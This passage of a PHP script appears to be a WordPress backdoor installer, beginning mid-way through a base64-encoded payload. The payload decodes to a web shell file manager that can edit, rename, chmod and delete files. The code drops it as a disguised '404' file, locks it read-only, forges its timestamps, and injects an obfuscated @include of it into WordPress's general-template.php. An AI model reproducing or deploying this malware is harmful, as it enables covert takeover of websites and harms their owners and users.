VudGVyPlNpemU8L3RkPiA8dGQgY2xhc3M9dGRfaG9tZSBhbGlnbj1jZW50ZXI+Q2htb2Q8L3RkPiA8dGQgY2xhc3M9dGRfaG9tZSBhbGlnbj1jZW50ZXI+IDxhIGhyZWY9Ij9vcHRpb24mQVJSQVk9Jy4kQVJSQVkuJyZwYXRoPScuJHBhdGguJyZvcHQ9YmFydSZuYW1lPW5ldy5waHAiPisg5paw5bu65paH5Lu2PC9hPiB8IDxhIGhyZWY9Ij9vcHRpb24mQVJSQVk9Jy4kQVJSQVkuJyZwYXRoPScuJHBhdGguJyZvcHQ9YnR3JnR5cGU9ZGlyIj4rIOaWsOW7uuebruW9lTwvYT4gPC90ZD48L3RyPgonOwoKICAgICAgICBmb3JlYWNoKCRzY2FuZGlyIGFzICRkaXIpewogICAgICAgICAgICBpZighaXNfZGlyKCIkcGF0aC8kZGlyIikgfHwgJGRpciA9PSAnLicgfHwgJGRpciA9PSAnLi4nKSBjb250aW51ZTsKICAgICAgICAgICAgZWNobyAiCjx0cj4KPHRkIGNsYXNzPXRkX2hvbWU+IDxpbWcgc3JjPSdkYXRhOmltYWdlL3BuZztiYXNlNjQsUjBsR09EbGhFd0FRQUxNQUFBQUFBUC8vLzV5Y0FNN09ZLy8vblAvL3p2L09uUGYzOS8vLy93QUFBQUFBQUFBQUFBQUFBQUFBQUFBQSIuIkFBQUFBQ0g1QkFFQUFBZ0FMQUFBQUFBVEFCQUFBQVJSRU1sSnE3MDQ2eXA2QnhzaUhFVkJFQUtZQ1VQckRwN0hsWFJkRW9NcUNlYnAiLiIvNFljaGZmekdRaEg0WVJZUEIyRE9sSFBpS3dxZDFQcTh5clZWZzNRWWVINVJZSzVySmZhRlVVQTN2QjRmQklCQURzPSc+IDxhIGhyZWY9XCI/QVJSQVk9eyRBUlJBWX0mcGF0aD0kcGF0aC8kZGlyXCI+JGRpcjwvYT48L3RkPgo8dGQgY2xhc3M9dGRfaG9tZSA+PGNlbnRlcj5ESVI8L2NlbnRlcj48L3RkPgo8dGQgY2xhc3M9dGRfaG9tZSBhbGlnbj1jZW50ZXI+CjxhIGhyZWY9XCI/b3B0aW9uJkFSUkFZPXskQVJSQVl9JnBhdGg9JHBhdGgmb3B0PWNobW9kJnR5cGU9ZGlyJm5hbWU9JGRpclwiIHRpdGxlPSfmnYPpmZDorr7nva4nPgoiOwogICAgICAgICAgICBpZihpc193cml0YWJsZSgiJHBhdGgvJGRpciIpKSBlY2hvICc8Zm9udCBjb2xvcj0iZ3JlZW4iPic7CiAgICAgICAgICAgIGVsc2VpZighaXNfcmVhZGFibGUoIiRwYXRoLyRkaXIiKSkgZWNobyAnPGZvbnQgY29sb3I9InJlZCI+JzsKICAgICAgICAgICAgZWNobyBqdWVqaWFuZ19wZXJtcygiJHBhdGgvJGRpciIpOwogICAgICAgICAgICBpZihpc193cml0YWJsZSgiJHBhdGgvJGRpciIpIHx8ICFpc19yZWFkYWJsZSgiJHBhdGgvJGRpciIpKSBlY2hvICc8L2ZvbnQ+JzsKCiAgICAgICAgICAgIGVjaG8gIgo8L2E+CjwvdGQ+CgoKPHRkIGNsYXNzPXRkX2hvbWUgPjxjZW50ZXI+CjxhIGhyZWY9XCI/b3B0aW9uJkFSUkFZPXskQVJSQVl9JnBhdGg9JHBhdGgmb3B0PXJlbmFtZSZ0eXBlPWRpciZuYW1lPSRkaXJcIj7ph43lkb3lkI08L2E+CjxhIGhyZWY9XCJqYXZhc2NyaXB0OmlmKGNvbmZpcm0oJ+ehruWunuimgeWIoOmZpOWQlz8nKSlsb2NhdGlvbj0nP29wdGlvbiZBUlJBWT17JEFSUkFZfSZwYXRoPXskcGF0aH0mb3B0PWRlbGV0ZSZ0eXBlPWRpciZuYW1lPXskZGlyfSdcIj7liKDpmaQ8L2E+CjwvY2VudGVyPjwvdGQ+CjwvdHI+IjsKICAgICAgICB9CiAgICAgICAgZWNobyAnPGJyPic7CiAgICAgICAgZm9yZWFjaCgkc2NhbmRpciBhcyAkZmlsZSl7CiAgICAgICAgICAgIGlmKCFpc19maWxlKCIkcGF0aC8kZmlsZSIpKSBjb250aW51ZTsKICAgICAgICAgICAgJHNpemUgPSBmaWxlc2l6ZSgiJHBhdGgvJGZpbGUiKS8xMDI0OwogICAgICAgICAgICAkc2l6ZSA9IHJvdW5kKCRzaXplLDMpOwogICAgICAgICAgICBpZigkc2l6ZSA+PSAxMDI0KXsKICAgICAgICAgICAgICAgICRzaXplID0gcm91bmQoJHNpemUvMTAyNCwyKS4nIE1CJzsKICAgICAgICAgICAgfWVsc2V7CiAgICAgICAgICAgICAgICAkc2l6ZSA9ICRzaXplLicgS0InOwogICAgICAgICAgICB9CgoKICAgICAgICAgICAgZWNobyAiPHRyPgo8dGQgY2xhc3M9dGRfaG9tZSA+IDxpbWcgc3JjPSdkYXRhOmltYWdlL3BuZztiYXNlNjQsaVZCT1J3MEtHZ29BQUFBTlNVaEVVZ0FBQUF3QUFBQVFDQVlBQUFBaVlaNEhBQUFBQ1hCSVdYTUFBQXNUQUFBTEV3RUFtcHdZQUFBS1RXbERRMUJRYUc5MGIzTm9iM0FnU1VORElIQnliMlpwYkdVQUFIamFuVk4zV0pQM0ZqN2Y5MlVQVmtMWThMR1hiSUVBSWlPc0NNZ1FXYUlRa2dCaGhCQVNRTVdGaUFwV0ZCVVJuRWhWeElMVkNraWRpT0tnS0xoblFZcUlXb3RWWERqdUg5eW50WDE2NyszdCs5Zjd2T2VjNS96T2VjOFBnQkVTSnBIbW9tb0FPVktGUERyWUg0OVBTTVRKdllBQ0ZVamdCQ0FRNXN2Q1p3WEZBQUR3QTNsNGZuU3dQL3dCcjI4QUFnQncxUzRrRXNmaC80TzZVQ1pYQUNDUkFPQWlFdWNMQVpCU0FNZ3VWTWdVQU1nWUFMQlRzMlFLQUpRQUFHeDVmRUlpQUtvTkFPejBTVDRGQU5pcGs5d1hBTmlpSEtrSUFJMEJBSmtvUnlRQ1FMc0FZRldCVWl3Q3dNSUFvS3hBSWk0RXdLNEJnRm0yTWtjQ2dMMEZBSGFPV0pBUFFHQUFnSmxDTE13QUlEZ0NBRU1lRTgwRElFd0RvRERTditDcFgzQ0Z1RWdCQU1ETGxjMlhTOUl6RkxpVjBCcDM4dkRnNGlIaXdteXhRbUVYS1JCbUNlUWluSmViSXhOSTV3Tk16Z3dBQUJyNTBjSCtPRCtRNStiazRlWm01Mnp2OU1XaS9tdndieUkrSWZIZi9yeU1BZ1FBRUU3UDc5cGY1ZVhXQTNESEFiQjF2MnVwV3dEYVZnQm8zL2xkTTlzSm9Gb0swSHI1aTNrNC9FQWVucUZReUR3ZEhBb0xDKzBsWXFHOU1PT0xQdjh6NFcvZ2kzNzIvRUFlL3R0NjhBQnhta0NacmNDamcvMXhZVzUycmxLTzU4c0VRakZ1OStjai9zZUZmLzJPS2RIaU5MRmNMQldLOFZpSnVGQWlUY2Q1dVZLUlJDSEpsZUlTNlg4eThSK1cvUW1UZHcwQXJJWlB3RTYyQjdYTGJNQis3Z0VDaXc1WTBuWUFRSDd6TFl3YUM1RUFFR2MwTW5uM0FBQ1R2L21QUUNzQkFNMlhwT01BQUx6b0dGeW9sQmRNeGdnQUFFU2dnU3F3UVFjTXdSU3N3QTZjd1IyOHdCY0NZUVpFUUF3a3dEd1FRZ2JrZ0J3S29SaVdRUmxVd0RyWUJMV3dBeHFnRVpyaEVMVEJNVGdONStBU1hJSHJjQmNHWUJpZXdoaThoZ2tFUWNnSUUyRWhPb2dSWW83WUlzNElGNW1PQkNKaFNEU1NnS1FnNllnVVVTTEZ5SEtrQXFsQ2FwRmRTQ1B5TFhJVU9ZMWNRUHFRMjhnZ01vcjhpcnhITVpTQnNsRUQxQUoxUUxtb0h4cUt4cUJ6MFhRMEQxMkFscUpyMFJxMEhqMkF0cUtuMFV2b2RYUUFmWXFPWTREUk1RNW1qTmxoWEl5SFJXQ0pXQm9teHhaajVWZzFWbzgxWXgxWU4zWVZHOENlWWU4SUpBS0xnQlBzQ0Y2RUVNSnNncENRUjFoTVdFT29KZXdqdEJLNkNGY0pnNFF4d2ljaWs2aFB0Q1Y2RXZuRWVHSTZzWkJZUnF3bTdpRWVJWjRsWGljT0UxK1RTQ1FPeVpMa1Rnb2hKWkF5U1F0SmEwamJTQzJrVTZRKzBoQnBuRXdtNjVCdHlkN2tDTEtBckNDWGtiZVFENUJQa3Z2SncrUzNGRHJGaU9KTUNhSWtVcVNVRWtvMVpUL2xCS1dmTWtLWm9LcFJ6YW1lMUFpcWlEcWZXa2x0b0haUUwxT0hxUk0wZFpvbHpac1dROHVrTGFQVjBKcHBaMm4zYUMvcGRMb0ozWU1lUlpmUWw5SnI2QWZwNSttRDlIY01EWVlOZzhkSVlpZ1pheGw3R2FjWXR4a3ZtVXltQmRPWG1jaFVNTmN5RzVsbm1BK1liMVZZS3ZZcWZCV1J5aEtWT3BWV2xYNlY1NnBVVlhOVlA5VjVxZ3RVcTFVUHExNVdmYVpHVmJOUTQ2a0oxQmFyMWFrZFZidXBOcTdPVW5kU2oxRFBVVitqdmwvOWd2cGpEYktHaFVhZ2hraWpWR08zeGhtTklSYkdNbVh4V0VMV2NsWUQ2eXhybUUxaVc3TDU3RXgyQmZzYmRpOTdURk5EYzZwbXJHYVJacDNtY2MwQkRzYXg0UEE1Mlp4S3ppSE9EYzU3TFFNdFB5MngxbXF0WnExK3JUZmFldHErMm1MdGN1MFc3ZXZhNzNWd25VQ2RMSjMxT20wNjkzVUp1amE2VWJxRnV0dDF6K28rMDJQcmVla0o5Y3IxRHVuZDBVZjFiZlNqOVJmcTc5YnYwUjgzTURRSU5wQVpiREU0WS9ETWtHUG9hNWhwdU5Id2hPR29FY3RvdXBIRWFLUFJTYU1udUNidWgyZmpOWGdYUG1hc2J4eGlyRFRlWmR4clBHRmlhVExicE1Ta3hlUytLYzJVYTVwbXV0RzAwM1RNek1nczNLellyTW5zampuVm5HdWVZYjdadk52OGpZV2xSWnpGU29zMmk4ZVcycFo4eXdXV1RaYjNySmhXUGxaNVZ2VlcxNnhKMWx6ckxPdHQxbGRzVUJ0WG13eWJPcHZMdHFpdG02M0VkcHR0M3hUaUZJOHAwaW4xVTI3YU1lejg3QXJzbXV3RzdUbjJZZllsOW0zMnp4M01IQklkMWp0ME8zeHlkSFhNZG14d3ZPdWs0VFREcWNTcHcrbFhaeHRub1hPZDh6VVhwa3VReXhLWGRwY1hVMjJuaXFkdW4zckxsZVVhN3JyU3RkUDFvNXU3bTl5dDJXM1UzY3c5eFgyciswMHVteHZKWGNNOTcwSDA4UGRZNG5ITTQ1Mm5tNmZDODVEbkwxNTJYbGxlKzcwZVQ3T2NKcDdXTUczSTI4UmI0TDNMZTJBNlBqMWwrczdwQXo3R1BnS2ZlcCtIdnFhK0l0ODl2aU4rMW42WmZnZjhudnM3K3N2OWovaS80WG55RnZGT0JXQUJ3UUhsQWIyQkdvR3pBMnNESHdTWkJLVUhOUVdOQmJzR0x3dytGVUlNQ1ExWkgzS1RiOEFYOGh2NVl6UGNaeXlhMFJYS0NKMFZXaHY2TU13bVRCN1dFWTZHendqZkVINXZwdmxNNmN5MkNJamdSMnlJdUI5cEdaa1grWDBVS1NveXFpN3FVYlJUZEhGMDl5eldyT1JaKzJlOWp2R1BxWXk1Tzl0cXRuSjJaNnhxYkZKc1kreWJ1SUM0cXJpQmVJZjRSZkdYRW5RVEpBbnRpZVRFMk1ROWllTnpBdWRzbWpPYzVKcFVsblJqcnVYY29ya1g1dW5PeTU1M1BGazFXWkI4T0lXWUVwZXlQK1dESUVKUUx4aFA1YWR1VFIwVDhvU2JoVTlGdnFLTm9sR3h0N2hLUEpMbW5WYVY5ampkTzMxRCttaUdUMFoxeGpNSlQxSXJlWkVaa3JrajgwMVdSTmJlck0vWmNka3RPWlNjbEp5alVnMXBsclFyMXpDM0tMZFBaaXNya3cza2VlWnR5aHVUaDhyMzVDUDVjL1BiRld5RlROR2p0Rkt1VUE0V1RDK29LM2hiR0Z0NHVFaTlTRnJVTTk5bS91cjVJd3VDRm55OWtMQlF1TEN6MkxoNFdmSGdJcjlGdXhZamkxTVhkeTR4WFZLNlpIaHA4Tko5eTJqTHNwYjlVT0pZVWxYeWFubmM4bzVTZzlLbHBVTXJnbGMwbGFtVXljdHVydlJhdVdNVllaVmtWZTlxbDlWYlZuOHFGNVZmckhDc3FLNzRzRWE0NXVKWFRsL1ZmUFY1YmRyYTNrcTN5dTNyU091azYyNnM5MW0vcjBxOWFrSFYwSWJ3RGEwYjhZM2xHMTl0U3Q1MG9YcHE5WTdOdE0zS3pRTTFZVFh0Vzh5MnJOdnlvVGFqOW5xZGYxM0xWdjJ0cTdlKzJTYmExci9kZDN2ekRvTWRGVHZlNzVUc3ZMVXJlRmRydlVWOTlXN1M3b0xkanhwaUc3cS81bjdkdUVkM1Q4V2VqM3VsZXdmMlJlL3JhblJ2Yk55dnY3K3lDVzFTTm8wZVNEcHc1WnVBYjlxYjdacDN0WEJhS2c3Q1FlWEJKOSttZkh2alVPaWh6c1BjdzgzZm1YKzM5UWpyU0hrcjBqcS9kYXd0bzIyZ1BhRzk3K2lNbzUwZFhoMUh2cmYvZnU4eDQyTjF4eldQVjU2Z25TZzk4Zm5rZ3BQanAyU25ucDFPUHozVW1keDU5MHo4bVd0ZFVWMjlaMFBQbmo4WGRPNU10MS8zeWZQZTU0OWQ4THh3OUNMM1l0c2x0MHV0UGE0OVIzNXcvZUZJcjF0djYyWDN5KzFYUEs1MDlFM3JPOUh2MDMvNmFzRFZjOWY0MXk1ZG4zbTk3OGJzRzdkdUp0MGN1Q1c2OWZoMjl1MFhkd3J1VE54ZGVvOTRyL3krMnYzcUIvb1A2biswL3JGbHdHM2crR0RBWU0vRFdRL3ZEZ21IbnY2VS85T0g0ZEpIekVmVkkwWWpqWStkSHg4YkRScTk4bVRPaytHbnNxY1R6OHArVnY5NTYzT3I1OS85NHZ0THoxajgyUEFMK1l2UHY2NTVxZk55NzZ1cHJ6ckhJOGNmdk01NVBmR20vSzNPMjMzdnVPKzYzOGU5SDVrby9FRCtVUFBSK21QSHA5QlA5ejduZlA3OEwvZUU4L3NsMHA4ekFBQUFJR05JVWswQUFIb2xBQUNBZ3dBQStmOEFBSURwQUFCMU1BQUE2bUFBQURxWUFBQVhiNUpmeFVZQUFBRzRTVVJCVkhqYWZKTFBhaE5SRk1aLzk5eVphYkJ4Q05OS2l5Z294R0NnbEJaY3VDZ0k5ZzJLTDFOQ3dTNUtYOEFuVUxvU3VuUFZyZHZHZ0J1cEVWMjRFV1FDTThuTTVNKzkxOFZNUnVPaTMrckNQZC81ZmVmY3ExNzFYanUwNVRiWnVlSHkvRXdCZUdqTDI1TVQ1c2F3TUlhSlhUVi9HZ3g0ZDNYRjBYSFBYWjZmS1FHdzFySXdocGt4bU9tVVBNdEl4Mk9TSkdHY3Bydy9QVVY4emRGeHo4azRUZXR1Z2RZMGdvQkFhendSbEFoeEhQUG00b0lYblE2ZkIzMDhBQkhoWTc4UHdOWjZ4SzlKekc2M0M4REx3ME9jdFlSaHlJZnI2OUlBMEc2M2NWWCtKaTBhUVFDekdRQ0xmMmJ5QUxSU0RJZkR1anZBdDZvZzhockVpNEw5dmIzU1VHUVpTb1NublE0TGE3bExWSk9XdWw4VUFCUlpWczNnSEY5dWJ1cUNKV2xyUFNwcGs1aUQ3ZTJLa09jQTdIYTd6SXdwTS85SGF0TEMwNW9pei84Ty9mUHJkOEtXejQvZmFVMEJtRTh6L0xVNzZNM05rakF0Q3JRSUQ1NDhMa24zWUdZTUQ2TUlheTJtb2dKTWkyS1ZBQkMyZlBMYzU5SEdCb2dBWUl4QnFyTzNmT21ENTgvS3l5cTNjUTZ0VkcwQ0dLY3BYaklhcmF4UWkyQ3NMWXNCSllKVENpVkNNaHFobWpzN3p0cmJ2L2RTSXNLZkFRRGZJc0tIdkFaWVpBQUFBQUJKUlU1RXJrSmdnZz09Jz4KCiI7Ci8vIDxhIGhyZWY9XCI/QVJSQVk9eyRBUlJBWX0mZmlsZXNyYz0kcGF0aC8kZmlsZSZwYXRoPSRwYXRoXCI+JGZpbGU8L2E+CiAgICAgICAgICAgIGVjaG8gIgo8YSBocmVmPVwiP29wdGlvbiZBUlJBWT17JEFSUkFZfSZwYXRoPXskcGF0aH0mb3B0PWVkaXQmdHlwZT1maWxlJm5hbWU9eyRmaWxlfVwiPnskZmlsZX08L2E+CjwvdGQ+Cjx0ZCBjbGFzcz10ZF9ob21lPjxjZW50ZXI+Ii4kc2l6ZS4iPC9jZW50ZXI+PC90ZD4KPHRkIGNsYXNzPXRkX2hvbWUgYWxpZ249J2NlbnRlcic+PGEgaHJlZj1cIj9vcHRpb24mQVJSQVk9eyRBUlJBWX0mcGF0aD0kcGF0aCZvcHQ9Y2htb2QmdHlwZT1maWxlJm5hbWU9JGZpbGVcIiB0aXRsZT0n5p2D6ZmQ6K6+572uJz4iOwoKCgogICAgICAgICAgICBpZihpc193cml0YWJsZSgiJHBhdGgvJGZpbGUiKSkgZWNobyAnPGZvbnQgY29sb3I9ImdyZWVuIj4nOwogICAgICAgICAgICBlbHNlaWYoIWlzX3JlYWRhYmxlKCIkcGF0aC8kZmlsZSIpKSBlY2hvICc8Zm9udCBjb2xvcj0icmVkIj4nOwogICAgICAgICAgICBlY2hvIGp1ZWppYW5nX3Blcm1zKCIkcGF0aC8kZmlsZSIpOwogICAgICAgICAgICBpZihpc193cml0YWJsZSgiJHBhdGgvJGZpbGUiKSB8fCAhaXNfcmVhZGFibGUoIiRwYXRoLyRmaWxlIikpIGVjaG8gJzwvZm9udD4nOwogICAgICAgICAgICBlY2hvICI8L2E+PC90ZD4KPHRkIGNsYXNzPXRkX2hvbWU+PGNlbnRlcj4KPGEgaHJlZj1cIj9vcHRpb24mQVJSQVk9eyRBUlJBWX0mcGF0aD0kcGF0aCZvcHQ9ZWRpdCZ0eXBlPWZpbGUmbmFtZT0kZmlsZVwiPue8lui+kTwvYT4KPGEgaHJlZj1cIj9vcHRpb24mQVJSQVk9eyRBUlJBWX0mcGF0aD0kcGF0aCZvcHQ9cmVuYW1lJnR5cGU9ZmlsZSZuYW1lPSRmaWxlJnBhdGg9JHBhdGhcIj7ph43lkb3lkI08L2E+CjxhIGhyZWY9XCJqYXZhc2NyaXB0OmlmKGNvbmZpcm0oJ+ehruWunuimgeWIoOmZpOWQlz8nKSlsb2NhdGlvbj0nP29wdGlvbiZBUlJBWT17JEFSUkFZfSZwYXRoPXskcGF0aH0mb3B0PWRlbGV0ZSZ0eXBlPWZpbGUmbmFtZT17JGZpbGV9J1wiPuWIoOmZpDwvYT4KPC9jZW50ZXI+PC90ZD4KPC90cj4iOwogICAgICAgIH0KICAgICAgICBlY2hvICc8L3RhYmxlPgo8L2Rpdj4nOwogICAgfQogICAgZWNobyAnPGJyPjxicj48YnI+PGJyPjwvYj4KPC9ib2R5PiA8L2h0bWw+PC9ib2R5Pgo8L2h0bWw+JzsKICAgIGRpZTsKZW5kaWY7ICAvLyA9PT09CgoKCgoKCg=="; // WP 404
    @chmod($jue_jiang_404_path, 0644);
    @file_put_contents($jue_jiang_404_path, base64_decode($jue_jiang_404));
    @touch($jue_jiang_404_path, filectime($file_general_template_path));
    @chmod($jue_jiang_404_path, 0444);
}

$general_template_code = @file_get_contents($file_general_template_path);
$gen_mat = base64_decode("QGluY2x1ZGVbXHNdK2Jhc2U2NF9kZWNvZGVbXHNdKj9cKCJbMC05YS16QS1aLT0rXC9dKyJcKTs=");
$isget_mat = preg_match("/{$gen_mat}/i",$general_template_code)?true:false;
if (!$isget_mat){
    $pma = base64_decode("ZnVuY3Rpb25bXHNdW2EtekEtWjAtOV9dKlwoLio/XCkuKg==");
    preg_match_all("/{$pma}/i",$general_template_code,$pr);
    $gen_temp_fun_name = $pr[0][rand(0,count($pr[0])-1)];
    $jj404_b64_path = base64_encode($jue_jiang_404_path);
    $new_general_template = str_replace($gen_temp_fun_name,"@include base64_decode(\"{$jj404_b64_path}\");".PHP_EOL.$gen_temp_fun_name,$general_template_code);
    @chmod($file_general_template_path, 0644);
    @file_put_contents($file_general_template_path,$new_general_template);
    @touch($file_general_template_path, filectime($file_general_template_path));
}